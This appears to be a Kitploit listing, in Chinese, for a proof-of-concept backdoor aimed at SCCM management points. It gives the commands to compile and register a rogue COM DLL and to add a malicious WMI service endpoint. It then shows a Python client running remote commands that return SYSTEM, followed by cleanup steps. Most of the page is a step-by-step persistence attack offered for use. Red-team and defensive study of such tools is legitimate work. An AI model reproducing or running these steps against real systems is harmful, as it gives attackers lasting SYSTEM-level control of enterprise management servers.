CcmMessagingBackdoor — SCCM 管理点的概念验证后门，利用恶意 COM 服务以 SYSTEM 权限实现持久化远程命令执行。 | Kitploit

CcmMessagingBackdoor

用于构建并安装恶意的 CcmMessaging 服务，以在管理点上维持访问权限的概念验证工具

使用方法

在管理点上编译并安装恶意的 COM 服务

# Compile
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe /t:library /out:c:\rogue.dll RogueCcmEndpoint.cs

# Register CLSID
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe /codebase c:\rogue.dll

在 WMI 中配置服务端点

PS C:\>  ./wmi_create_rogue_service_endpoint.ps1

使用 Python 客户端运行 PowerShell 命令

$ python3 ccmmessaging_backdoor_client.py -t https://mp.corp.local -s MP_Backdoor 'whoami'
[...]
<BackdoorResponse>nt authority\system
</BackdoorResponse>

清理

# Unregister CLSID
PS C:\> C:\Windows\Microsoft.NET\Framework64\v2.0.50727\RegAsm.exe /unregister c:\rogue.dll

PS C:\> ./wmi_remove_rogue_service_endpoint.ps1

待办事项

修复 CcmExec 进程随机崩溃的问题（目前原因未知）